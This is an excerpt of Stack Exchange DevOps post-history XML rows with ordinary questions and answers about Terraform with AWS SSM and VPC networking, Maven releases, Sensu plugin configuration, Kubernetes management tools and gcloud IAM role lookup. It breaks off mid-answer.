  <row Id="27309" PostHistoryTypeId="5" PostId="9274" RevisionGUID="e2bef1cc-a3fa-4e3d-afc1-a63c070f1f39" CreationDate="2019-09-25T13:49:33.533" UserId="4328" Comment="added 139 characters in body" Text="If I am understanding your question correctly, what you are describing sounds like a perfect use case for SSM. You can store your RDS password as a [secure string parameter encrypted by KMS][1], then reference it in you terraform file as a [data source][2] with decryption. With this method, you only have to reference your decrypted password, and never directly store the encrypted or plain text in your tf file. &#xD;&#xA;&#xD;&#xA;    data &quot;aws_ssm_parameter&quot; &quot;foo&quot; {&#xD;&#xA;      name = &quot;foo&quot;&#xD;&#xA;      with_decryption = true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/kms/latest/developerguide/services-parameter-store.html&#xD;&#xA;  [2]: https://www.terraform.io/docs/providers/aws/d/ssm_parameter.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="27310" PostHistoryTypeId="5" PostId="9272" RevisionGUID="ac83a28a-6d8a-48b4-af6c-59fe3a0d44f7" CreationDate="2019-09-25T14:11:19.063" UserId="15792" Comment="Grammar edits for clarity" Text="Is there a way to only have an encrypted version of my RDS password in my Terraform code and for AWS to decrypt it for RDS so you use the decrypted password to login to the RDS?&#xD;&#xA;&#xD;&#xA;So set my rds password variable value to the encrypted password and when terraform builds the RDS I login in with is the unencrypted password?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27311" PostHistoryTypeId="24" PostId="9272" RevisionGUID="ac83a28a-6d8a-48b4-af6c-59fe3a0d44f7" CreationDate="2019-09-25T14:11:19.063" Comment="Proposed by 15792 approved by 17276 edit id of 1076" ContentLicense="CC BY-SA 4.0" />
  <row Id="27315" PostHistoryTypeId="2" PostId="9276" RevisionGUID="44e4f2ea-44c4-40be-8f46-8f82a30f7d44" CreationDate="2019-09-25T14:48:59.530" UserId="17281" Text="As stated in the title of the question, I have a Terraform file (attached below), but the infrastructure it builds doesn't allow me to connect by SSH (I get &quot;Connection timed out&quot;). So either the packets aren't getting to the EC2 instances or the responses aren't getting out. Any ideas? For the purposes of this question the DNS and ALB can be ignored (the former works fine, the latter almost certainly doesn't yet).&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;provider &quot;aws&quot; {&#xD;&#xA;  region = &quot;us-west-2&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_vpc&quot; &quot;vpc&quot; {&#xD;&#xA;  cidr_block = &quot;10.0.0.0/16&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_internet_gateway&quot; &quot;gw&quot; {&#xD;&#xA;  vpc_id = &quot;${aws_vpc.vpc.id}&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_subnet&quot; &quot;subnet_a&quot; {&#xD;&#xA;  vpc_id = &quot;${aws_vpc.vpc.id}&quot;&#xD;&#xA;  cidr_block = &quot;10.0.1.0/24&quot;&#xD;&#xA;  availability_zone = &quot;us-west-2a&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_subnet&quot; &quot;subnet_b&quot; {&#xD;&#xA;  vpc_id = &quot;${aws_vpc.vpc.id}&quot;&#xD;&#xA;  cidr_block = &quot;10.0.2.0/24&quot;&#xD;&#xA;  availability_zone = &quot;us-west-2b&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_route_table&quot; &quot;rt&quot; {&#xD;&#xA;  vpc_id = &quot;${aws_vpc.vpc.id}&quot;&#xD;&#xA;&#xD;&#xA;  route {&#xD;&#xA;    cidr_block = &quot;0.0.0.0/0&quot;&#xD;&#xA;    gateway_id = &quot;${aws_internet_gateway.gw.id}&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_route_table_association&quot; &quot;rt_a&quot; {&#xD;&#xA;  subnet_id = &quot;${aws_subnet.subnet_a.id}&quot;&#xD;&#xA;  route_table_id = &quot;${aws_route_table.rt.id}&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_route_table_association&quot; &quot;rt_b&quot; {&#xD;&#xA;  subnet_id = &quot;${aws_subnet.subnet_b.id}&quot;&#xD;&#xA;  route_table_id = &quot;${aws_route_table.rt.id}&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_security_group&quot; &quot;alb_sg&quot; {&#xD;&#xA;  vpc_id = &quot;${aws_vpc.vpc.id}&quot;&#xD;&#xA;&#xD;&#xA;  ingress {&#xD;&#xA;    from_port = 0&#xD;&#xA;    to_port = 80&#xD;&#xA;    protocol = &quot;tcp&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  ingress {&#xD;&#xA;    from_port = 0&#xD;&#xA;    to_port = 443&#xD;&#xA;    protocol = &quot;tcp&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_alb&quot; &quot;alb&quot; {&#xD;&#xA;  internal = false&#xD;&#xA;  load_balancer_type = &quot;application&quot;&#xD;&#xA;  security_groups = [&quot;${aws_security_group.alb_sg.id}&quot;]&#xD;&#xA;  subnets = [&quot;${aws_subnet.subnet_a.id}&quot;,&quot;${aws_subnet.subnet_b.id}&quot;]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_route53_zone&quot; &quot;primary&quot; {&#xD;&#xA;  name = &quot;REDACTED.REDACTED&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_route53_record&quot; &quot;alias_route53_record&quot; {&#xD;&#xA;  zone_id = &quot;${aws_route53_zone.primary.zone_id}&quot;&#xD;&#xA;  name    = &quot;REDACTED.REDACTED&quot;&#xD;&#xA;  type    = &quot;A&quot;&#xD;&#xA;&#xD;&#xA;  alias {&#xD;&#xA;    name                   = &quot;${aws_alb.alb.dns_name}&quot;&#xD;&#xA;    zone_id                = &quot;${aws_alb.alb.zone_id}&quot;&#xD;&#xA;    evaluate_target_health = true&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_key_pair&quot; &quot;kp&quot; {&#xD;&#xA;  key_name = &quot;kp2019y09m25d001i&quot;&#xD;&#xA;  public_key = &quot;ssh-rsa REDACTED&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_instance&quot; &quot;instance_a&quot; {&#xD;&#xA;  ami = &quot;ami-08ba47c10a42c61be&quot;&#xD;&#xA;  instance_type = &quot;t2.micro&quot;&#xD;&#xA;  availability_zone = &quot;us-west-2a&quot;&#xD;&#xA;  subnet_id = &quot;${aws_subnet.subnet_a.id}&quot;&#xD;&#xA;  associate_public_ip_address = true&#xD;&#xA;  key_name = &quot;${aws_key_pair.kp.key_name}&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_instance&quot; &quot;instance_b&quot; {&#xD;&#xA;  ami = &quot;ami-08ba47c10a42c61be&quot;&#xD;&#xA;  instance_type = &quot;t2.micro&quot;&#xD;&#xA;  availability_zone = &quot;us-west-2b&quot;&#xD;&#xA;  subnet_id = &quot;${aws_subnet.subnet_b.id}&quot;&#xD;&#xA;  associate_public_ip_address = true&#xD;&#xA;  key_name = &quot;${aws_key_pair.kp.key_name}&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;output &quot;instance_a_ip&quot; {&#xD;&#xA;  value = &quot;${aws_instance.instance_a.public_ip}&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;output &quot;instance_b_ip&quot; {&#xD;&#xA;  value = &quot;${aws_instance.instance_b.public_ip}&quot;&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="27316" PostHistoryTypeId="1" PostId="9276" RevisionGUID="44e4f2ea-44c4-40be-8f46-8f82a30f7d44" CreationDate="2019-09-25T14:48:59.530" UserId="17281" Text="can't access my instances by public IP in a VPC (aka: what is wrong with my terraform)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27317" PostHistoryTypeId="3" PostId="9276" RevisionGUID="44e4f2ea-44c4-40be-8f46-8f82a30f7d44" CreationDate="2019-09-25T14:48:59.530" UserId="17281" Text="&lt;amazon-ec2&gt;&lt;terraform&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27321" PostHistoryTypeId="2" PostId="9277" RevisionGUID="9ed439cb-77c4-4622-9b33-8cd6aeffea5d" CreationDate="2019-09-25T16:02:56.270" UserId="4852" Text="I would recommend to use the [maven-release-plugin][1] wich will take care of this. As you can read [here][2]&#xD;&#xA;&#xD;&#xA;&gt; The `developerConnection` contains the URL of the Source Control Management system pointing to the folder containing this pom.xml This URL is prefixed with `scm:[scm-provider]` so the plugin can pick the right implementation for committing and tagging. The Maven SCM-page contains an overview all the supported SCMs, per SCM you can see how the URL should look like. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://maven.apache.org/maven-release/maven-release-plugin/&#xD;&#xA;  [2]: http://maven.apache.org/maven-release/maven-release-plugin/usage.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="27322" PostHistoryTypeId="5" PostId="9277" RevisionGUID="1f5f6e3f-7716-4ee6-a6ed-40969cc1cfa4" CreationDate="2019-09-25T16:12:33.213" UserId="4852" Comment="correction of typos" Text="I would recommend to use the [maven-release-plugin][1] wich will take care of the sync and keep the version and tag equal. As you can read [here][2]&#xD;&#xA;&#xD;&#xA;&gt; The `developerConnection` contains the URL of the Source Control Management system pointing to the folder containing this pom.xml This URL is prefixed with `scm:[scm-provider]` so the plugin can pick the right implementation for committing and tagging. The Maven SCM-page contains an overview all the supported SCMs, per SCM you can see how the URL should look like. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://maven.apache.org/maven-release/maven-release-plugin/&#xD;&#xA;  [2]: http://maven.apache.org/maven-release/maven-release-plugin/usage.html&#xD;&#xA;  [3]: https://semver.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27328" PostHistoryTypeId="2" PostId="9279" RevisionGUID="a30ff2e4-e767-494e-b455-f09f72da1525" CreationDate="2019-09-25T17:45:17.517" UserId="17284" Text="So, we're transitioning from Slack to MSTeams (). I'm tasked with updating our Sensu configuration so that alerts get sent to MSTeams channels instead of Slack channels.&#xD;&#xA;&#xD;&#xA;In the JSON configuration for Slack, we have:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &quot;slack&quot; : {&#xD;&#xA;        &quot;type&quot;: &quot;pipe&quot;,&#xD;&#xA;        &quot;command&quot;: &quot;handler-slack.rb -j slack&quot;,&#xD;&#xA;        &quot;filters&quot;: [&#xD;&#xA;            &quot;occurrences&quot;&#xD;&#xA;        ]&#xD;&#xA;    },&#xD;&#xA;&#xD;&#xA;That `-j slack` tells the handler to load a JSON config file which is located at `/etc/sensu/conf.d/slack.d/slack.json`.&#xD;&#xA;&#xD;&#xA;The Teams handler is configured similarly:&#xD;&#xA;&#xD;&#xA;    ....&#xD;&#xA;    &quot;microsoft-teams&quot; : {&#xD;&#xA;        &quot;type&quot;: &quot;pipe&quot;,&#xD;&#xA;        &quot;command&quot;: &quot;handler-microsoft-teams.rb -j microsoft-teams&quot;,&#xD;&#xA;        &quot;filters&quot;: [&#xD;&#xA;            &quot;occurrences&quot;&#xD;&#xA;        ]&#xD;&#xA;    },&#xD;&#xA;    ....&#xD;&#xA;&#xD;&#xA;But when Sensu tries to pass a notification to the Teams handler, I get an error that leads me to believe that the JSON config wasn't loaded:&#xD;&#xA;&#xD;&#xA;    /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:104:in `get_setting': undefined method `[]' for nil:NilClass (NoMethodError)&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:28:in `payload_template'&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:108:in `handle'&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugin-2.7.1/lib/sensu-handler.rb:89:in `block in &lt;class:Handler&gt;'&#xD;&#xA;&#xD;&#xA;`payload-template` is the first setting that handler-microsoft-teams.rb attempts to load. It is not specified in my JSON, and the code is written to treat it as optional. &#xD;&#xA;&#xD;&#xA;So, my question is this: how does the Slack plugin go from the string passed to the `-j` argument (&quot;slack&quot;) to the path `/etc/sensu/conf.d/slack.d/slack.json`? And how do I determine the equivalent path magic for the Teams plugin? I don't know if this magic is inherent in Ruby (in which I'm a non-expert), Sensu, sensu-plugins, or something else. I've been digging in code for a while now and I'm coming up empty.&#xD;&#xA;&#xD;&#xA;(Yes, I'm aware of Sensu Go and would like to upgrade; that's not an option on my current timeline.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="27329" PostHistoryTypeId="1" PostId="9279" RevisionGUID="a30ff2e4-e767-494e-b455-f09f72da1525" CreationDate="2019-09-25T17:45:17.517" UserId="17284" Text="How do Sensu handler plugins determine the path of their JSON config files?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27330" PostHistoryTypeId="3" PostId="9279" RevisionGUID="a30ff2e4-e767-494e-b455-f09f72da1525" CreationDate="2019-09-25T17:45:17.517" UserId="17284" Text="&lt;sensu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27331" PostHistoryTypeId="5" PostId="9279" RevisionGUID="ef8e31ee-5a16-4169-9f9e-1c31dd96bf2b" CreationDate="2019-09-25T17:54:04.750" UserId="17284" Comment="clarifications" Text="So, we're transitioning from Slack to MSTeams (). I'm tasked with updating our Sensu configuration so that alerts get sent to MSTeams channels instead of Slack channels.&#xD;&#xA;&#xD;&#xA;In the `/etc/sensu/conf.d/handlers.json`, we have Slack notifications configured as follows:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &quot;slack&quot; : {&#xD;&#xA;        &quot;type&quot;: &quot;pipe&quot;,&#xD;&#xA;        &quot;command&quot;: &quot;handler-slack.rb -j slack&quot;,&#xD;&#xA;        &quot;filters&quot;: [&#xD;&#xA;            &quot;occurrences&quot;&#xD;&#xA;        ]&#xD;&#xA;    },&#xD;&#xA;    ....&#xD;&#xA;&#xD;&#xA;That `-j slack` tells the handler to load a JSON config file which is located at `/etc/sensu/conf.d/slack.d/slack.json`.&#xD;&#xA;&#xD;&#xA;The Teams handler is configured similarly:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &quot;microsoft-teams&quot; : {&#xD;&#xA;        &quot;type&quot;: &quot;pipe&quot;,&#xD;&#xA;        &quot;command&quot;: &quot;handler-microsoft-teams.rb -j microsoft-teams&quot;,&#xD;&#xA;        &quot;filters&quot;: [&#xD;&#xA;            &quot;occurrences&quot;&#xD;&#xA;        ]&#xD;&#xA;    },&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;But when Sensu tries to pass a notification to the Teams handler, I get an error that leads me to believe that the JSON config wasn't loaded:&#xD;&#xA;&#xD;&#xA;    /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:104:in `get_setting': undefined method `[]' for nil:NilClass (NoMethodError)&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:28:in `payload_template'&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:108:in `handle'&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugin-2.7.1/lib/sensu-handler.rb:89:in `block in &lt;class:Handler&gt;'&#xD;&#xA;&#xD;&#xA;`payload_template` is the first setting that handler-microsoft-teams.rb attempts to load. It is not specified in my JSON, and the code is written to treat it as optional. &#xD;&#xA;&#xD;&#xA;So, my question is this: how does the Slack plugin go from the string passed to the `-j` argument (&quot;slack&quot;) to the path `/etc/sensu/conf.d/slack.d/slack.json`? And how do I determine the equivalent path magic for the Teams plugin? I don't know if this magic is inherent in Ruby (in which I'm a non-expert), Sensu, sensu-plugins, or something else. I've been digging in code for a while now and I'm coming up empty.&#xD;&#xA;&#xD;&#xA;(Yes, I'm aware of Sensu Go and would like to upgrade; that's not an option on my current timeline.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="27332" PostHistoryTypeId="4" PostId="9279" RevisionGUID="ef8e31ee-5a16-4169-9f9e-1c31dd96bf2b" CreationDate="2019-09-25T17:54:04.750" UserId="17284" Comment="clarifications" Text="How do Sensu handler notification plugins determine the path of their JSON config files?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27333" PostHistoryTypeId="2" PostId="9280" RevisionGUID="5c8447b1-45ed-4673-9375-d46172e55f10" CreationDate="2019-09-25T18:32:26.680" UserId="17284" Text="Okay, so it turns out this wasn't my problem, but I know the answer to the question I asked:&#xD;&#xA;&#xD;&#xA;The file `/opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb` defines a function `get_setting`, which looks like this:&#xD;&#xA;&#xD;&#xA;    def get_setting(name)&#xD;&#xA;      settings[config[:json_config]][name]&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;`config[:json_config]` is the string passed with the `-j` switch.&#xD;&#xA;&#xD;&#xA;On to `config`: the file `/opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugin-2.7.1/lib/sensu-handler.rb` requires `sensu-plugin/utils`, which defines the following:&#xD;&#xA;&#xD;&#xA;    module Sensu&#xD;&#xA;      module Plugin&#xD;&#xA;        module Utils # rubocop:disable Metrics/ModuleLength&#xD;&#xA;          def config_files&#xD;&#xA;            if ENV['SENSU_LOADED_TEMPFILE'] &amp;&amp; File.file?(ENV['SENSU_LOADED_TEMPFILE'])&#xD;&#xA;              IO.read(ENV['SENSU_LOADED_TEMPFILE']).split(':')&#xD;&#xA;            elsif ENV['SENSU_CONFIG_FILES']&#xD;&#xA;              ENV['SENSU_CONFIG_FILES'].split(':')&#xD;&#xA;            else&#xD;&#xA;              ['/etc/sensu/config.json'] + Dir['/etc/sensu/conf.d/**/*.json']&#xD;&#xA;            end&#xD;&#xA;          end&#xD;&#xA;&#xD;&#xA;          def load_config(filename)&#xD;&#xA;            JSON.parse(File.open(filename, 'r').read)&#xD;&#xA;          rescue&#xD;&#xA;            {}&#xD;&#xA;          end&#xD;&#xA;&#xD;&#xA;          def settings&#xD;&#xA;            @settings ||= config_files.map { |f| load_config(f) }.reduce { |a, b| deep_merge(a, b) }&#xD;&#xA;          end&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;So `settings` is going to load all JSON files nested anywhere under `/etc/sensu/conf.d/` and deep-merge them. Beyond that, the path is not relevant to Sensu's ability to load it using the string `slack`; that's the name of the entry in the JSON payload. This mechanism is common to all Sensu config, not just handler plugins. Documentation is here: https://docs.sensu.io/sensu-core/1.8/reference/configuration/.&#xD;&#xA;&#xD;&#xA;I looked at my log files, and it does seem to be finding and loading the files I had optimistically placed under `/etc/sensu/conf.d/teams.d/`, but it's not working.&#xD;&#xA;&#xD;&#xA;Before I found the answer documented here, I took a stab and renamed the directory from `teams.d` to `microsoft-teams.d`, and the configuration object defined within from `teams` to `microsoft-teams`. I don't know why that would have had any effect, but it's working now. Maybe I had fat-fingered or copypasta'd something and resolved that inadvertently in the process of adding the `microsoft` prefix." ContentLicense="CC BY-SA 4.0" />
  <row Id="27334" PostHistoryTypeId="5" PostId="9279" RevisionGUID="c22cb312-f619-49bc-82f2-0bd3fc95ca41" CreationDate="2019-09-25T18:32:56.247" UserId="17284" Comment="edited body" Text="So, we're transitioning from Slack to MSTeams (). I'm tasked with updating our Sensu configuration so that alerts get sent to MSTeams channels instead of Slack channels.&#xD;&#xA;&#xD;&#xA;In the `/etc/sensu/conf.d/handlers.json`, we have Slack notifications configured as follows:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &quot;slack&quot; : {&#xD;&#xA;        &quot;type&quot;: &quot;pipe&quot;,&#xD;&#xA;        &quot;command&quot;: &quot;handler-slack.rb -j slack&quot;,&#xD;&#xA;        &quot;filters&quot;: [&#xD;&#xA;            &quot;occurrences&quot;&#xD;&#xA;        ]&#xD;&#xA;    },&#xD;&#xA;    ....&#xD;&#xA;&#xD;&#xA;That `-j slack` tells the handler to load a JSON config file which is located at `/etc/sensu/conf.d/slack.d/slack.json`.&#xD;&#xA;&#xD;&#xA;The Teams handler is configured similarly:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &quot;microsoft-teams&quot; : {&#xD;&#xA;        &quot;type&quot;: &quot;pipe&quot;,&#xD;&#xA;        &quot;command&quot;: &quot;handler-microsoft-teams.rb -j microsoft-teams&quot;,&#xD;&#xA;        &quot;filters&quot;: [&#xD;&#xA;            &quot;occurrences&quot;&#xD;&#xA;        ]&#xD;&#xA;    },&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;But when Sensu tries to pass a notification to the Teams handler, I get an error that leads me to believe that the JSON config wasn't loaded:&#xD;&#xA;&#xD;&#xA;    /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:104:in `get_setting': undefined method `[]' for nil:NilClass (NoMethodError)&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:28:in `payload_template'&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:108:in `handle'&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugin-2.7.1/lib/sensu-handler.rb:89:in `block in &lt;class:Handler&gt;'&#xD;&#xA;&#xD;&#xA;`payload_template` is the first setting that handler-microsoft-teams.rb attempts to load. It is not specified in my JSON, and the code is written to treat it as optional. &#xD;&#xA;&#xD;&#xA;So, my question is this: how does the Slack plugin go from the string passed to the `-j` argument (`slack`) to the path `/etc/sensu/conf.d/slack.d/slack.json`? And how do I determine the equivalent path magic for the Teams plugin? I don't know if this magic is inherent in Ruby (in which I'm a non-expert), Sensu, sensu-plugins, or something else. I've been digging in code for a while now and I'm coming up empty.&#xD;&#xA;&#xD;&#xA;(Yes, I'm aware of Sensu Go and would like to upgrade; that's not an option on my current timeline.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="27335" PostHistoryTypeId="2" PostId="9281" RevisionGUID="c091a007-4ed9-463d-9d3a-e782d61e91e2" CreationDate="2019-09-25T18:39:15.330" UserId="17283" Text="If you can use Kubernetes as the deployment target for your applications, it is a great tool to standardize delivery and operations. The only problem is, as you correctly pointed, a consistent approach to deployment and operations of Kubernetes clusters themselves.&#xD;&#xA;&#xD;&#xA;The best practice in my opinion is definitely to centralize and unify Kubernetes management; but whether it is actually worth to do depends on the expected scale of operations (how many clusters you want to manage, and how often changes are implemented), and on availability of Kubernetes management tools that fit your specific needs.&#xD;&#xA;&#xD;&#xA;Generally speaking here are some links where you can start gathering information on various tools in this area:&#xD;&#xA;&#xD;&#xA;* A place to start when selecting a Kubernetes management solution that suites your needs: https://kubernetes.io/docs/setup/ - it includes a list of products and tools suitable for managing cluster fleets in production.&#xD;&#xA;* Another good curated list of tools and solutions related to Kubernetes, including deployment and management tools, can be found here: https://github.com/ramitsurana/awesome-kubernetes&#xD;&#xA;* One more reference point for research is the Kubernetes conformance testing results maintained by CNCF (Cloud Native Computing Foundation) on their GitHub account: https://github.com/cncf/k8s-conformance ; you may find conformance testing results there from different Kubernetes management tools and see which of them maintain conformance with relatively current versions of Kubernetes, e.g. here is the K8s 1.15 conformance testing results: https://github.com/cncf/k8s-conformance/tree/master/v1.15&#xD;&#xA;&#xD;&#xA;Although the full list of tools and vendors looks huge, if you filter it though the &quot;production readiness requirements&quot; list, there may actually be very few solutions left that fit the bill.&#xD;&#xA;&#xD;&#xA;Here is the list, in no particular order, of considerations that may be important in case like yours:&#xD;&#xA;&#xD;&#xA;* the tool is mature enough for production use, and deploys production quality (secure, reliable, self-healing) clusters,&#xD;&#xA;* deployed clusters compatibility and conformance - whether upstream Kubernetes is used or a custom build,&#xD;&#xA;* configurability - whether and how the tool limits deployed Kubernetes clusters configuration options; e.g. can you adjusts Kubernetes API server, controller manager, or kubelet configuration options&#xD;&#xA;* whether support is available, for the tool itself, for the clusters deployed through the tool, and for the &quot;borderline&quot; problems - problems for which you cannot be sure whether it is your application running on the cluster, or the cluster itself, or a specific configuration of this cluster,&#xD;&#xA;* cost,&#xD;&#xA;* whether the tool is SaaS or can be installed in your environment, cloud or DC;&#xD;&#xA;* whether the deployment and management are centralized, or each cluster is separate; and whether a &quot;single pane of glass&quot; for your clusters and a single API for cluster management are available;&#xD;&#xA;* management and &quot;day 2 operations&quot; of clusters - updates, upgrades, recovery etc&#xD;&#xA;* if the tool provides centralized features, then how access control management for cluster operations looks like (this is different from Kubernetes RBAC, which is implemented by Kubernetes itself),&#xD;&#xA;* integrations with enterprise IDM for SSO and user federation,&#xD;&#xA;* support for different and heterogeneous target environments - e.g. AWS, GCP, Azure, on-prem, vSphere; and support for different target OS&#xD;&#xA;* uniformity of Kubernetes clusters deployed into different environments: e.g. if your Kubernetes clusters in AWS are deployed using AWS EKS, and Google cloud clusters are GKE, then you may run into a situation when these clusters cannot achieve feature parity due to different set of supported versions, addons etc,&#xD;&#xA;* availability of operations tools like log and metrics collection, visualization, alert and notification management etc.&#xD;&#xA;&#xD;&#xA;In cases where you know for sure that you will stay in one specific cloud, the corresponding cloud provider's managed Kubernetes solution would probably be the first candidate - such as AWS EKS, GCP GKE, and Azure AKS; although it should still be run through the list of your specific requirements.&#xD;&#xA;&#xD;&#xA;In other cases, cloud-agnostic tools should be considered.&#xD;&#xA;&#xD;&#xA;Another consideration to keep in mind is how entangled or integrated your infrastructure management, Kuberletes cluster management, and application operations are going to be with different tools.&#xD;&#xA;Different tools may put different emphasis on different parts of the stack; e.g. some Kubernetes distributions may also provide integrated and/or opinionated application lifecycle management components, or integrated infrastructure/cost management features.&#xD;&#xA;&#xD;&#xA;While integrated solutions may be better in terms of time to market and learning curve; at the same time they may limit your ability to benefit from the latest developments in DevOps/CI/CD technologies.&#xD;&#xA;&#xD;&#xA;I personally lean towards treating Kubernetes as a convenient infrastructure abstraction layer, on top of which not only your applications, but also your DevOps/CI/CD tools, and various managed services (e.g. cloud native storage solution, databases, etc) can run. We have some presentations published on our web site about that: https://kublr.com/register/all-things-kubernetes-online-meetup/&#xD;&#xA;&#xD;&#xA;Talking about specific vendors, I must put a disclaimer here - I am a CTO at Kublr - https://kublr.com/ - an enterprise Kubernetes management solution built around the requirements listed above.&#xD;&#xA;It can be found in the lists of Kubernetes tools mentioned above; you can also schedule a demo on the web site, or get an unlimited non-production version at https://kublr.com/deploy/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27336" PostHistoryTypeId="2" PostId="9282" RevisionGUID="52512c4f-dc0f-4241-bb38-668cc39179a7" CreationDate="2019-09-25T18:40:51.667" UserId="8125" Text="If under unix, with gcloud SDK you can execute the following script:&#xD;&#xA;```&#xD;&#xA;export expected_permission=billing.accounts.updateUsageExportSpec&#xD;&#xA;&#xD;&#xA;for role in $(gcloud iam roles list --format='value(NAME)');                                     &#xD;&#xA;do permissions=$(gcloud iam roles describe $role --format='value(includedPermissions)')&#xD;&#xA;if [[ $permissions =~ $expected_permission  ]]; then echo &quot;-------------------------------------------------&quot; &amp;&amp;  echo $role &amp;&amp; echo &quot;-------------------------------------------------&quot;; fi&#xD;&#xA;done&#xD;&#xA;```&#xD;&#xA;Either way, there's [this reference](https://cloud.google.com/iam/docs/permissions-reference) in official docs where permission/roles mapping can be shown" ContentLicense="CC BY-SA 4.0" />
  <row Id="27337" PostHistoryTypeId="5" PostId="9281" RevisionGUID="d1c0caba-9816-40b7-83fa-917c11ee1a60" CreationDate="2019-09-25T18:48:34.383" UserId="17283" Comment="Added company disclaimer in the beginning of the response" Text="(Kublr CTO) If you can use Kubernetes as the deployment target for your applications, it is a great tool to standardize delivery and operations. The only problem is, as you correctly pointed, a consistent approach to deployment and operations of Kubernetes clusters themselves.&#xD;&#xA;&#xD;&#xA;The best practice in my opinion is definitely to centralize and unify Kubernetes management; but whether it is actually worth to do depends on the expected scale of operations (how many clusters you want to manage, and how often changes are implemented), and on availability of Kubernetes management tools that fit your specific needs.&#xD;&#xA;&#xD;&#xA;Generally speaking here are some links where you can start gathering information on various tools in this area:&#xD;&#xA;&#xD;&#xA;* A place to start when selecting a Kubernetes management solution that suites your needs: https://kubernetes.io/docs/setup/ - it includes a list of products and tools suitable for managing cluster fleets in production.&#xD;&#xA;* Another good curated list of tools and solutions related to Kubernetes, including deployment and management tools, can be found here: https://github.com/ramitsurana/awesome-kubernetes&#xD;&#xA;* One more reference point for research is the Kubernetes conformance testing results maintained by CNCF (Cloud Native Computing Foundation) on their GitHub account: https://github.com/cncf/k8s-conformance ; you may find conformance testing results there from different Kubernetes management tools and see which of them maintain conformance with relatively current versions of Kubernetes, e.g. here is the K8s 1.15 conformance testing results: https://github.com/cncf/k8s-conformance/tree/master/v1.15&#xD;&#xA;&#xD;&#xA;Although the full list of tools and vendors looks huge, if you filter it though the 